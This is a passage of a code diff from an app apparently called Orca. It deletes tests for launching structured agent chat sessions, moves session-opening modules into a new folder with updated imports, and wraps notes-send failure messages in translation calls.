-    snapshotVersion: 1,
-    activeGroupId: null,
-    activeTabId: null,
-    activeTabType: null,
-    tabs: sessionIds.map((sessionId) => ({
-      type: 'agent-session',
-      id: `tab-${sessionId}`,
-      title: 'Codex',
-      sessionId,
-      agent: 'codex',
-      isActive: false
-    }))
-  }))
-}
-
-let main: TabsDrawnFromMain | null = null
-let warnings: MockInstance<typeof console.warn>
-
-// Frame-drawn split workspace: each side needs a terminal because main drops empty groups.
-async function seedSplit(): Promise<void> {
-  const real = createTestStore()
-  const side = (groupId: string): Tab => ({
-    id: `terminal-${groupId}`,
-    entityId: `terminal-${groupId}`,
-    groupId,
-    worktreeId: WORKTREE_ID,
-    contentType: 'terminal',
-    label: 'Terminal',
-    customLabel: null,
-    color: null,
-    sortOrder: 0,
-    createdAt: 1
-  })
-  const seeded = emptyStoreState()
-  seedStore(real, {
-    worktreesByRepo: { repo: [makeWorktree({ id: WORKTREE_ID, repoId: 'repo' })] },
-    activeWorktreeId: WORKTREE_ID,
-    tabsByWorktree: {
-      [WORKTREE_ID]: (ORCA_LAYOUT_OWNER_IS_MAIN ? ['group-left', 'group-right'] : []).map(
-        (groupId, index) => ({
-          id: `terminal-${groupId}`,
-          ptyId: null,
-          worktreeId: WORKTREE_ID,
-          title: 'Terminal',
-          customTitle: null,
-          color: null,
-          sortOrder: index,
-          createdAt: 1
-        })
-      )
-    },
-    unifiedTabsByWorktree: {
-      [WORKTREE_ID]: ORCA_LAYOUT_OWNER_IS_MAIN ? [side('group-left'), side('group-right')] : []
-    },
-    groupsByWorktree: {
-      [WORKTREE_ID]: seeded.groupsByWorktree[WORKTREE_ID]!.map((group) => ({
-        ...group,
-        activeTabId: ORCA_LAYOUT_OWNER_IS_MAIN ? `terminal-${group.id}` : null,
-        tabOrder: ORCA_LAYOUT_OWNER_IS_MAIN ? [`terminal-${group.id}`] : []
-      }))
-    },
-    layoutByWorktree: seeded.layoutByWorktree,
-    activeGroupIdByWorktree: seeded.activeGroupIdByWorktree
-  })
-  owner.store = real
-  const { activateTab, focusGroup } = real.getState()
-  real.setState({
-    activateTab: mocks.activateTab.mockImplementation(activateTab),
-    focusGroup: mocks.focusGroup.mockImplementation(focusGroup)
-  })
-  main = await drawTabsFromMain(real)
-}
-
-/** The chat tabs the workspace shows: switch-on, as main's frames drew them. */
-async function openedChats(): Promise<Tab[]> {
-  await main?.settle()
-  const tabs = owner.store!.getState().unifiedTabsByWorktree[WORKTREE_ID] ?? []
-  const chats = tabs.filter((tab) => tab.contentType === 'agent-session')
-  for (const tab of chats) {
-    expect(owner.store!.getState().getTab(tab.id)).toBe(tab)
-  }
-  return chats
-}
-
-const owned: {
-  handle: Exclude<StructuredAgentSessionProvisionalLaunch, { sessionId: null }>
-  done: boolean
-}[] = []
-const heldCreates: {
-  intent: StructuredAgentSessionLaunchIntent
-  resolve: (receipt: { sessionId: string; fence: number }) => void
-}[] = []
-function holdCreates(): void {
-  mocks.launch.mockImplementation(
-    (intent: StructuredAgentSessionLaunchIntent) =>
-      new Promise<{ sessionId: string; fence: number }>((resolve) =>
-        heldCreates.push({ intent, resolve })
-      )
-  )
-}
-
-const first = launchIntent('session-first')
-const second = launchIntent('session-second')
-
-function pick(
-  requestId: string,
-  overrides: {
-    agent?: 'claude' | 'codex'
-    worktreeId?: string
-    prompt?: string
-    /** The split the pick was made in; none means the workspace's active group. */
-    group?: string
-  } = {}
-): Exclude<StructuredAgentSessionProvisionalLaunch, { sessionId: null }> {
-  const launch = beginStructuredAgentSessionProvisionalLaunch({
-    plan: adoptAgentSessionLaunchVerdict({
-      route: 'structured-native-chat',
-      requestId,
-      agent: overrides.agent ?? 'codex',
-      worktreeId: overrides.worktreeId ?? WORKTREE_ID,
-      executionHostId: 'local',
-      ...(overrides.prompt
-        ? { prompt: overrides.prompt, promptDelivery: 'submit-after-ready' as const }
-        : {})
-    }),
-    hooks: {},
-    ...(overrides.group ? { targetGroupId: overrides.group } : {})
-  })
-  if (!launch || launch.sessionId === null) {
-    throw new Error('expected a local chat')
-  }
-  const pending = { handle: launch, done: false }
-  owned.push(pending)
-  void launch.settlement.then(() => {
-    pending.done = true
-  })
-  return launch
-}
-
-async function flush(): Promise<void> {
-  for (let i = 0; i < 20; i += 1) {
-    await Promise.resolve()
-  }
-}
-
-/** The first chat published and its host's journal holds no request. */
-async function publishIdle(sessionId: string): Promise<void> {
-  await flush()
-  expect(getStructuredAgentSessionLaunchLifecycle(WORKTREE_ID, sessionId)).toBeNull()
-  mocks.liveSessions.add(sessionId)
-  mocks.statusBySession.set(sessionId, null)
-}
-
-beforeEach(() => {
-  vi.resetAllMocks()
-  localStorage.clear()
-  clearNativeChatDraftCacheForTests()
-  resetStructuredAgentLaunchPersistenceForTests()
-  resetStructuredAgentLaunchRegistryForTests()
-  resetStructuredAgentSessionSendsForTests()
-  for (const sessionId of ['session-first', 'session-second', 'session-third']) {
-    discardStructuredLaunchPrompts(sessionId)
-  }
-  mocks.statusBySession.clear()
-  mocks.liveSessions.clear()
-  mocks.createIntent
-    .mockReturnValueOnce(first)
-    .mockReturnValueOnce(second)
-    .mockReturnValueOnce(launchIntent('session-third'))
-  mocks.launch.mockImplementation((intent: StructuredAgentSessionLaunchIntent) =>
-    Promise.resolve({ sessionId: intent.sessionId, fence: 1 })
-  )
-  mocks.refreshTabs.mockResolvedValue(published(first.sessionId, second.sessionId))
-  mocks.callRuntimeRpc.mockResolvedValue({
-    ok: true,
-    value: { submission: { dispatchState: 'accepted' } }
-  })
-})
-
-beforeEach(async () => {
-  await seedSplit()
-  warnings = vi.spyOn(console, 'warn')
-  expect(owner.store!.getState().getTab('structured-agent-session-session-first')).toBeNull()
-})
-
-afterEach(async () => {
-  for (const pending of owned) {
-    if (!pending.done) {
-      pending.handle.cancel()
-    }
-  }
-  for (const { intent, resolve } of heldCreates.splice(0)) {
-    resolve({ sessionId: intent.sessionId, fence: 1 })
-  }
-  await Promise.all(owned.splice(0).map(({ handle }) => handle.settlement))
-  await main?.settle()
-  expect(heldCreates).toEqual([])
-  expect(layoutApplyTestTransport.pendingCount).toBe(0)
-  for (const tab of owner.store!.getState().unifiedTabsByWorktree[WORKTREE_ID] ?? []) {
-    expect(isPendingTab(tab.id)).toBe(false)
-  }
-  expect(
-    warnings.mock.calls.filter(
-      ([message]) => message === '[layout-owner] pending tab waiter threw:'
-    )
-  ).toEqual([])
-  main?.close()
-  vi.restoreAllMocks()
-  main = null
-  owner.store = null
-})
-
-describe('a second "new chat" with no text', () => {
-  it('opens a second chat while the first empty one is still starting', async () => {
-    holdCreates()
-    const firstPick = pick('plus-pick-1')
-    const secondPick = pick('plus-pick-2')
-
-    expect(firstPick.sessionId).toBe(first.sessionId)
-    expect(secondPick.sessionId).toBe(second.sessionId)
-    expect(await openedChats()).toHaveLength(2)
-  })
-
-  it('opens a second chat beside an empty one that published and sits idle', async () => {
-    pick('plus-pick-1')
-    await publishIdle(first.sessionId)
-
-    const secondPick = pick('plus-pick-2')
-
-    expect(secondPick.sessionId).toBe(second.sessionId)
-    expect(await openedChats()).toHaveLength(2)
-    await expect(secondPick.settlement).resolves.toEqual({
-      kind: 'structured',
-      sessionId: second.sessionId
-    })
-  })
-
-  it('opens one chat when the same pick is delivered twice', () => {
-    holdCreates()
-    const firstPick = pick('plus-pick-1')
-
-    expect(pick('plus-pick-1').sessionId).toBe(firstPick.sessionId)
-    expect(mocks.createIntent).toHaveBeenCalledOnce()
-  })
-})
-
-describe('a "new chat" with text', () => {
-  it('opens its own chat beside an empty one still starting', async () => {
-    holdCreates()
-    const blank = pick('plus-pick-1')
-
-    const notes = pick('notes-send', { prompt: 'review notes' })
-
-    expect(notes.sessionId).toBe(second.sessionId)
-    expect(await openedChats()).toHaveLength(2)
-    expect(hasStagedStructuredLaunchPrompt(blank.sessionId)).toBe(false)
-    expect(hasStagedStructuredLaunchPrompt(second.sessionId)).toBe(true)
-  })
-
-  it('opens its own chat in the split it was sent from', async () => {
-    holdCreates()
-    pick('plus-pick-1', { group: 'group-left' })
-
-    const notes = pick('notes-send', { prompt: 'review notes', group: 'group-right' })
-
-    expect(notes.sessionId).toBe(second.sessionId)
-    expect((await openedChats()).find((tab) => tab.entityId === second.sessionId)?.groupId).toBe(
-      'group-right'
-    )
-    expect(mocks.focusGroup).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-staged-prompt.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-staged-prompt.ts
index c6e10d7eab5..6816aac7ba4 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-staged-prompt.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-staged-prompt.ts
@@ -12,7 +12,7 @@ import { agentSessionWriteNoticeText } from '@/components/native-chat/messages/n
 import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 import type { StructuredAgentSessionSendInput } from '@/components/native-chat/session/structured/delivery/structured-agent-session-send-slot'
 import type { StructuredPromptDeliveryResult } from './structured-agent-session-launch-callers'
-export type { StructuredPromptDeliveryResult } from './structured-agent-session-launch-callers'
+
 type LaunchMessage = Pick<StructuredAgentSessionSendInput, 'text' | 'attachments' | 'skills'>
 
 export type StagedDelivery = Omit<
@@ -66,6 +66,7 @@ export function stageStructuredLaunchPrompt(
     attachments?: LaunchMessage['attachments']
     skills?: LaunchMessage['skills']
     prepare?: StructuredLaunchPromptOptions['preparePrompt']
+    delivery?: StructuredAgentSessionSendInput['delivery']
   } = {}
 ): StagedStructuredLaunchPrompt {
   let discard = (): void => {}
@@ -76,11 +77,13 @@ export function stageStructuredLaunchPrompt(
   const whenCreateSettled = new Promise<StagedDelivery>((resolve) => {
     settleCreate = resolve
   })
+  // The send's host delivery mode, not the prompt's own `delivery` promise.
+  const { delivery: _sendDelivery, ...promptOptions } = options
   const prompt: StagedStructuredLaunchPrompt = {
     sessionId,
     text,
     slot: reserveStructuredAgentSessionSend({ sessionId, text, ...options }),
-    ...options,
+    ...promptOptions,
     whenDiscarded,
     discard,
     whenCreateSettled,
diff --git a/src/renderer/src/lib/agent-session/messaging/notes-send-agent-targets.ts b/src/renderer/src/lib/agent-session/messaging/notes-send-agent-targets.ts
index f3e1ba270a6..8cdfd5c380e 100644
--- a/src/renderer/src/lib/agent-session/messaging/notes-send-agent-targets.ts
+++ b/src/renderer/src/lib/agent-session/messaging/notes-send-agent-targets.ts
@@ -1,28 +1,23 @@
-import {
-  projectedStructuredChatTabName,
-  type StructuredChatTabNames
-} from '@/runtime/native-chat/naming/structured-chat-tab-name'
-import { structuredChatTabById } from '../../structured-chat-tab-index'
-import type { AgentType } from '../../../../../shared/agent-status/contracts/agent-status-types'
-import type { AppState } from '@/store/types'
+import { projectedStructuredChatTabName } from '@/runtime/native-chat/naming/structured-chat-tab-name'
+import type { StructuredChatTabNames } from '@/runtime/native-chat/naming/structured-chat-tab-name'
+import { structuredChatTabById } from '../tab-identity/structured-chat-tab-index'
 import {
   isTerminalLeafId,
   makePaneKey
 } from '../../../../../shared/workspace-layout/stable-pane-id'
 import { resolveTerminalTitleAgentType } from '../../../../../shared/agent-status/title/terminal-title-agent-type'
-import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types'
 import { detectAgentSendTitleStatus } from './agent-send-title-status'
-import {
-  resolveRuntimePaneTitleLeafResolution,
-  type RuntimePaneTitleLeafResolution
-} from '../../../../../shared/runtime-pane-title-leaf-id'
+import { resolveRuntimePaneTitleLeafResolution } from '../../../../../shared/runtime-pane-title-leaf-id'
+import type { RuntimePaneTitleLeafResolution } from '../../../../../shared/runtime-pane-title-leaf-id'
 import {
   deriveRunningAgentSendTargets,
   deriveStatuslessStructuredAgentSendTargets,
-  runningAgentMessageTarget,
-  type RunningAgentSendTarget,
-  type RunningAgentTargetState
+  runningAgentMessageTarget
 } from './running-agent-targets'
+import type { RunningAgentSendTarget, RunningAgentTargetState } from './running-agent-targets'
+import type { AgentType } from '../../../../../shared/agent-status/contracts/agent-status-types'
+import type { AppState } from '@/store/types'
+import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types'
 import type { AgentMessageTarget } from './agent-message-target'
 
 export type NotesSendAgentTargetState = RunningAgentTargetState &
diff --git a/src/renderer/src/lib/agent-session/messaging/terminal/active-agent-note-send-result.ts b/src/renderer/src/lib/agent-session/messaging/terminal/active-agent-note-send-result.ts
index c3edee7dd03..b5f9025c08a 100644
--- a/src/renderer/src/lib/agent-session/messaging/terminal/active-agent-note-send-result.ts
+++ b/src/renderer/src/lib/agent-session/messaging/terminal/active-agent-note-send-result.ts
@@ -1,4 +1,5 @@
 import { agentSessionWriteNoticeEnglish } from '../../../../../../shared/agent-session/failures/agent-session-refusal-notice'
+import { translate } from '@/i18n/i18n'
 
 export type ActiveAgentNotesSendStatus =
   | 'sent'
@@ -53,39 +54,81 @@ export function activeAgentNotesSendFailureMessage(
     subject?: 'notes' | 'selection'
   } = {}
 ): string {
-  const subject = options.subject ?? 'notes'
-  const target = options.explicitTarget ? 'selected' : 'active'
+  const target = options.explicitTarget
+    ? translate('components.agentNotes.targetSelected', 'selected')
+    : translate('components.agentNotes.targetActive', 'active')
   let message: string
   switch (status) {
     case 'empty':
-      message = 'No notes to send.'
+      message = translate('components.agentNotes.empty', 'No notes to send.')
       break
     case 'no-active-terminal':
       message = options.explicitTarget
-        ? 'The selected terminal is no longer available.'
-        : 'Open the agent terminal in this worktree, then send the notes again.'
+        ? translate(
+            'components.agentNotes.selectedTerminalUnavailable',
+            'The selected terminal is no longer available.'
+          )
+        : translate(
+            'components.agentNotes.activeTerminalUnavailable',
+            'Open the agent terminal in this worktree, then send the notes again.'
+          )
       break
     case 'no-agent':
-      message = `The ${target} terminal is not a recognized agent session.`
+      message = translate(
+        'components.agentNotes.notAgentSession',
+        'The {{target}} terminal is not a recognized agent session.',
+        { target }
+      )
       break
     case 'permission':
       message = options.explicitTarget
-        ? 'The selected agent needs permission.'
-        : 'The active agent needs permission.'
+        ? translate(
+            'components.agentNotes.selectedAgentNeedsPermission',
+            'The selected agent needs permission.'
+          )
+        : translate(
+            'components.agentNotes.activeAgentNeedsPermission',
+            'The active agent needs permission.'
+          )
       break
     case 'status-unavailable':
-      message = `The ${target} agent status could not be verified.`
+      message = translate(
+        'components.agentNotes.statusUnverified',
+        'The {{target}} agent status could not be verified.',
+        { target }
+      )
       break
     case 'not-ready':
-      message = `The ${target} agent was not ready for input yet.`
+      message = translate(
+        'components.agentNotes.notReady',
+        'The {{target}} agent was not ready for input yet.',
+        { target }
+      )
       break
     case 'not-writable':
-      message = `The ${target} agent did not accept the ${subject}.`
+      message =
+        options.subject === 'selection'
+          ? translate(
+              'components.agentNotes.notWritableSelection',
+              'The {{target}} agent did not accept the selection.',
+              { target }
+            )
+          : translate(
+              'components.agentNotes.notWritable',
+              'The {{target}} agent did not accept the notes.',
+              { target }
+            )
       break
     case 'partial-submit-failed':
       message = options.explicitTarget
-        ? 'The notes may already be pasted in the selected terminal, but Orca could not submit them.'
-        : 'The notes may already be pasted in the active terminal, but Orca could not submit them.'
+        ? translate(
+            'components.agentNotes.selectedSubmitFailed',
+            'The notes may already be pasted in the selected terminal, but Orca could not submit them.'
+          )
+        : translate(
+            'components.agentNotes.activeSubmitFailed',
+            'The notes may already be pasted in the active terminal, but Orca could not submit them.'
+          )
       break
     case 'unconfirmed':
       message = agentSessionWriteNoticeEnglish(['sendOutcomeLost'])
diff --git a/src/renderer/src/lib/activate-ai-vault-structured-session.ts b/src/renderer/src/lib/agent-session/open/activate-ai-vault-structured-session.ts
similarity index 85%
rename from src/renderer/src/lib/activate-ai-vault-structured-session.ts
rename to src/renderer/src/lib/agent-session/open/activate-ai-vault-structured-session.ts
index bf3820bafd0..e3dfa231285 100644
--- a/src/renderer/src/lib/activate-ai-vault-structured-session.ts
+++ b/src/renderer/src/lib/agent-session/open/activate-ai-vault-structured-session.ts
@@ -1,24 +1,18 @@
-import type { AiVaultSession } from '../../../shared/ai-vault/contracts/ai-vault-types'
+import { openDesktopStructuredSessionInteraction } from './open-existing-structured-session'
+import type { StructuredSessionOpenAdapterDeps } from './open-existing-structured-session'
+import { showAgentPaneUnavailable } from '@/components/terminal-pane/agent-status/stale-agent-row'
+import { translate } from '@/i18n/i18n'
+import { toast } from 'sonner'
+import { activateAndRevealWorktree } from '../../workspace/activation/worktree-activation'
+import { activateWslMovedWorkspace } from '../../workspace/activation/wsl-moved-chat-activation'
+import { useAppStore } from '@/store/index'
+import type { AiVaultSession } from '../../../../../shared/ai-vault/contracts/ai-vault-types'
 import type {
   StructuredSessionOpenSource,
   StructuredSessionOpenResult,
   StructuredSessionOpenDeps
-} from '../../../shared/open-structured-agent-session'
-import type { RuntimeClientTarget } from '../../../shared/runtime-client-target'
-import {
-  openDesktopStructuredSessionInteraction,
-  type StructuredSessionOpenAdapterDeps
-} from './open-existing-structured-session'
-import { showAgentPaneUnavailable } from '@/components/terminal-pane/agent-status/stale-agent-row'
-import { translate } from '@/i18n/i18n'
-import { toast } from 'sonner'
-import { activateAndRevealWorktree } from './workspace/activation/worktree-activation'
-import { activateWslMovedWorkspace } from './workspace/activation/wsl-moved-chat-activation'
-import { useAppStore } from '@/store'
-export {
-  revealStructuredSession,
-  type StructuredSessionRevealOutcome
-} from './open-existing-structured-session'
+} from '../../../../../shared/open-structured-agent-session'
+import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 
 type StructuredSessionActivationDeps = StructuredSessionOpenAdapterDeps & {
   unavailable: (agent?: string) => void
diff --git a/src/renderer/src/lib/open-agent-message-sender.ts b/src/renderer/src/lib/agent-session/open/open-agent-message-sender.ts
similarity index 93%
rename from src/renderer/src/lib/open-agent-message-sender.ts
rename to src/renderer/src/lib/agent-session/open/open-agent-message-sender.ts
index ed2094ebf20..7df9506b3b5 100644
--- a/src/renderer/src/lib/open-agent-message-sender.ts
+++ b/src/renderer/src/lib/agent-session/open/open-agent-message-sender.ts
@@ -3,21 +3,18 @@
 import { toast } from 'sonner'
 import { translate } from '@/i18n/i18n'
 import { isRuntimeCompatBlockError } from '@/runtime/rpc/compatibility/runtime-protocol-compat'
-import type { OrchestrationCrewRow } from '../../../shared/orchestration/orchestration-crew'
-import type { AgentMessageSource } from '../../../shared/agent-session/agent-session-message-source'
 import {
   openDesktopStructuredSession,
-  structuredSessionOpenFeedbackText,
-  type StructuredSessionOpenFeedback
+  structuredSessionOpenFeedbackText
 } from './activate-ai-vault-structured-session'
-import { useAppStore } from '@/store'
-import type { RuntimeClientTarget } from '../../../shared/runtime-client-target'
+import type { StructuredSessionOpenFeedback } from './activate-ai-vault-structured-session'
+import { useAppStore } from '@/store/index'
 import {
   focusTerminal,
   openLocatedAgentMessageSender,
-  showLookupFailure,
-  type LookupFailure
+  showLookupFailure
 } from './open-located-agent-message-sender'
+import type { LookupFailure } from './open-located-agent-message-sender'
 import { unnamedSenderLabel } from '@/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-label'
 import {
   agentMessageSenderOpens,
@@ -25,13 +22,16 @@ import {
   agentMessageSenderUnavailableText,
   resolveAgentMessageSenderTarget
 } from '@/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-target'
-import { getKnownExecutionHostIdForWorktree } from './workspace/ownership/worktree-runtime-owner'
+import { getKnownExecutionHostIdForWorktree } from '../../workspace/ownership/worktree-runtime-owner'
 import {
   executionHostIdForStructuredTarget,
   resolveStructuredAgentSessionOwner,
   structuredAgentSessionOwnerForTab,
   structuredAgentSessionTargetForHost
 } from '@/runtime/native-chat/session-ownership/structured-agent-session-owner'
+import type { OrchestrationCrewRow } from '../../../../../shared/orchestration/orchestration-crew'
+import type { AgentMessageSource } from '../../../../../shared/agent-session/agent-session-message-source'
+import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 
 type Sender = AgentMessageSource['senders'][number]
 const opensInFlight = new Map<string, Promise<void>>()
diff --git a/src/renderer/src/lib/open-existing-structured-session.ts b/src/renderer/src/lib/agent-session/open/open-existing-structured-session.ts
similarity index 93%
rename from src/renderer/src/lib/open-existing-structured-session.ts
rename to src/renderer/src/lib/agent-session/open/open-existing-structured-session.ts
index d4206ebd480..8bdddf8d8a7 100644
--- a/src/renderer/src/lib/open-existing-structured-session.ts
+++ b/src/renderer/src/lib/agent-session/open/open-existing-structured-session.ts
@@ -1,29 +1,31 @@
 import {
   openStructuredAgentSession,
-  structuredSessionOpenFailure,
-  type StructuredSessionOpenSource,
-  type StructuredSessionOpenResult,
-  type StructuredSessionOpenDeps,
-  type StructuredSessionOpenTarget,
-  type StructuredSessionOpenTab,
-  type StructuredSessionOpenFailure
-} from '../../../shared/open-structured-agent-session'
-import type { OrchestrationPartyLocationResult } from '../../../shared/orchestration/orchestration-caller-status'
+  structuredSessionOpenFailure
+} from '../../../../../shared/open-structured-agent-session'
+import type {
+  StructuredSessionOpenSource,
+  StructuredSessionOpenResult,
+  StructuredSessionOpenDeps,
+  StructuredSessionOpenTarget,
+  StructuredSessionOpenTab,
+  StructuredSessionOpenFailure
+} from '../../../../../shared/open-structured-agent-session'
 import {
   findStructuredAgentSessionTab,
   activateStructuredAgentSessionById
-} from './agent-session/structured-agent-session-tab-activation'
-import { useAppStore } from '@/store'
-import { runtimeEnvironmentIdOrLocalUnlessTwin } from './workspace/ownership/worktree-runtime-owner'
+} from '../structured-agent-session-tab-activation'
+import { useAppStore } from '@/store/index'
+import { runtimeEnvironmentIdOrLocalUnlessTwin } from '../../workspace/ownership/worktree-runtime-owner'
 import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call'
 import { runtimeEnvironmentSupportsCapability } from '@/runtime/rpc/compatibility/runtime-capability-proof'
-import type { RuntimeClientTarget } from '../../../shared/runtime-client-target'
 import { runtimeTargetForOwnerEnvironment } from '@/runtime/rpc/targets/runtime-client-target'
 import { toRuntimeWorktreeSelector } from '@/runtime/rpc/targets/runtime-worktree-selector'
 import { refreshLocalStructuredSessionWorktreeTabs } from '@/runtime/local-structured-session-tabs-sync/inventory-refresh'
-import { STRUCTURED_AGENT_SESSION_REVEAL_RUNTIME_CAPABILITY } from '../../../shared/agent-session/structured-agent-session-surface-capabilities'
+import { STRUCTURED_AGENT_SESSION_REVEAL_RUNTIME_CAPABILITY } from '../../../../../shared/agent-session/structured-agent-session-surface-capabilities'
 import { isRuntimeCompatBlockError } from '@/runtime/rpc/compatibility/runtime-protocol-compat'
 import { executionHostIdForStructuredTarget } from '@/runtime/native-chat/session-ownership/structured-agent-session-owner'
+import type { OrchestrationPartyLocationResult } from '../../../../../shared/orchestration/orchestration-caller-status'
+import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 
 const STRUCTURED_SESSION_RESTORE_TIMEOUT_MS = 5_000
 
diff --git a/src/renderer/src/lib/open-located-agent-message-sender.ts b/src/renderer/src/lib/agent-session/open/open-located-agent-message-sender.ts
similarity index 90%
rename from src/renderer/src/lib/open-located-agent-message-sender.ts
rename to src/renderer/src/lib/agent-session/open/open-located-agent-message-sender.ts
index ad5c448d1cd..35888a1df31 100644
--- a/src/renderer/src/lib/open-located-agent-message-sender.ts
+++ b/src/renderer/src/lib/agent-session/open/open-located-agent-message-sender.ts
@@ -2,11 +2,9 @@
 // tab, else that same pane through its host. Never whatever the card's saved address names now.
 
 import { toast } from 'sonner'
-import { useAppStore } from '@/store'
-import type { AppState } from '@/store/types'
+import { useAppStore } from '@/store/index'
 import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call'
 import { RuntimeRpcCallError } from '@/runtime/rpc/calls/runtime-rpc-result'
-import type { RuntimeTerminalResolvePane } from '../../../shared/runtime-terminal-contracts'
 import { isRuntimeCompatBlockError } from '@/runtime/rpc/compatibility/runtime-protocol-compat'
 import {
   focusRendererTerminalHandle,
@@ -15,17 +13,17 @@ import {
 import { showAgentPaneUnavailable } from '@/components/terminal-pane/agent-status/stale-agent-row'
 import {
   activateAiVaultStructuredSession,
-  structuredSessionOpenFeedback,
-  type StructuredSessionOpenFeedback
+  structuredSessionOpenFeedback
 } from './activate-ai-vault-structured-session'
-import type { LocatedAgentSender } from '@/runtime/native-chat/agent-senders/agent-sender-associations'
-import {
-  agentMessageSenderUnavailableText,
-  type AgentMessageSenderTarget
-} from '@/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-target'
+import type { StructuredSessionOpenFeedback } from './activate-ai-vault-structured-session'
+import { agentMessageSenderUnavailableText } from '@/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-target'
+import type { AgentMessageSenderTarget } from '@/components/native-chat/messages/agent-senders/native-chat-agent-message-sender-target'
 import { activateWorktreeAgentPane } from '@/components/sidebar/workspace-card/activity/use-worktree-agent-activation'
-import { parsePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
+import { parsePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
 import { structuredAgentSessionTargetForHost } from '@/runtime/native-chat/session-ownership/structured-agent-session-owner'
+import type { AppState } from '@/store/types'
+import type { RuntimeTerminalResolvePane } from '../../../../../shared/runtime-terminal-contracts'
+import type { LocatedAgentSender } from '@/runtime/native-chat/agent-senders/agent-sender-associations'
 
 /** older-host identifies the chat host; update may mean either side, and unreachable proves nothing. */
 export type LookupFailure = 'older-host' | 'update' | 'unreachable'
diff --git a/src/renderer/src/lib/agent-session/options/structured-agent-session-selection-lifetime.test.tsx b/src/renderer/src/lib/agent-session/options/structured-agent-session-selection-lifetime.test.tsx
deleted file mode 100644
index fadc83b3b5e..00000000000
--- a/src/renderer/src/lib/agent-session/options/structured-agent-session-selection-lifetime.test.tsx
+++ /dev/null
@@ -1,550 +0,0 @@
-import { resetHostModelCatalogSnapshotsForTests } from '../../../runtime/native-chat/model-catalogs/host-model-catalog-snapshots'
-import type { StructuredAgentSessionMutate } from '../../../components/native-chat/session/structured/writes/use-structured-agent-session-mutate'
-import type { AgentSessionOptionsResult } from '../../../../../shared/agent-session/options/agent-session-options-result'
-// @vitest-environment happy-dom
-import { act, cleanup, renderHook, waitFor } from '@testing-library/react'
-import { afterEach, expect, it, vi } from 'vitest'
-import type { StructuredAgentSessionLaunchIntent } from '../../launch-structured-agent-session'
-import type { RuntimeStatus } from '../../../../../shared/runtime-session-contracts'
-import { useAppStore } from '../../../store/index'
-import { useStructuredAgentSessionOptionState } from '../../../components/native-chat/session/options/structured/use-structured-agent-session-option-state'
-import { structuredAgentSessionSeedCatalog } from '../../../../../shared/agent-session/options/structured-agent-session-seed-catalog'
-import { structuredAgentSessionMessageSelection } from '../../../../../shared/agent-session/options/structured-agent-session-option-view'
-import { structuredAgentSessionModelId } from '../../../../../shared/agent-session/options/structured-agent-session-option-state'
-import { startStructuredAgentLaunch } from '../launch/structured-agent-session-launch'
-import {
-  holdStructuredAgentSessionLaunchOption,
-  structuredLaunchSelectionController
-} from '../launch/structured-agent-session-launch-options'
-import {
-  getStructuredLaunchStateBySessionId,
-  resetStructuredAgentLaunchRegistryForTests
-} from '../launch/structured-agent-session-launch-registry'
-import { useStructuredAgentSessionOptions } from '../../../components/native-chat/session/options/structured/use-structured-agent-session-options'
-import { listRuntimeSessionHostsForStartup } from '../../../app-shell/startup-runtime-session-hosts'
-import { structuredAgentSessionTargetForTab } from '../../../runtime/native-chat/session-ownership/structured-agent-session-owner'
-import type { PublicKnownRuntimeEnvironment } from '../../../../../shared/remote-runtime/host-catalog/runtime-environments'
-import {
-  registerStructuredSelectionCatalogStore,
-  forgetStructuredSessionSelection,
-  structuredSessionSelectionController
-} from './structured-agent-session-selection-controller'
-
-const unavailableMutation: StructuredAgentSessionMutate = async () => null
-
-const transport = vi.hoisted(() => ({
-  create: vi.fn(),
-  intent: vi.fn(),
-  call: vi.fn(),
-  remember: vi.fn()
-}))
-vi.mock('../../launch-structured-agent-session', () => ({
-  createStructuredAgentSessionLaunchIntent: transport.intent,
-  abandonStructuredAgentSessionLaunchIntent: vi.fn()
-}))
-vi.mock('../launch/structured-agent-session-launch-create-call', () => ({
-  launchStructuredAgentSession: transport.create
-}))
-vi.mock('../../../runtime/native-chat/requests/structured-agent-session-call', () => ({
-  callStructuredAgentSession: transport.call
-}))
-vi.mock(
-  '../../../components/native-chat/session/status/structured-agent-session-status-hooks',
-  () => ({
-    useStructuredAgentSessionPermissionStatus: () => ({ permissionReport: false, observation: 0 })
-  })
-)
-vi.mock(
-  '../../../runtime/native-chat/host-capabilities/structured-agent-session-host-capability',
-  () => ({
-    useStructuredAgentSessionHostCapability: () => true,
-    useStructuredAgentSessionOwnPermissionState: () => 'supported',
-    useStructuredAgentSessionHostCapabilityState: () => 'unknown',
-    structuredAgentSessionHostKey: () => 'paired-host'
-  })
-)
-vi.mock(
-  '../../../components/native-chat/session/options/native-chat-session-option-settings-write',
-  () => ({
-    enqueueSessionOptionSettingsWrite: transport.remember
-  })
-)
-vi.mock('sonner', () => ({ toast: { error: vi.fn(), warning: vi.fn(), dismiss: vi.fn() } }))
-
-const target = { kind: 'environment', environmentId: 'paired-host' } as const
-const sessionId = 'codex_reconnect'
-const initial = useAppStore.getState()
-const catalog = structuredAgentSessionSeedCatalog('codex')
-const seed = { model: 'gpt-5.5' }
-function publish(runtimeId: string, sequence: number) {
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the production status slice reads runtime identity and protocol fields here.
-  const status = {
-    runtimeId,
-    runtimeProtocolVersion: 3,
-    minCompatibleRuntimeClientVersion: 3
-  } as RuntimeStatus
-  useAppStore.getState().setRuntimeEnvironmentStatus(
-    target.environmentId,
-    {
-      status,
-      checkedAt: sequence,
-      snapshot: {
-        environmentId: target.environmentId,
-        pairingRevision: 1,
-        sequence,
-        checkedAt: sequence,
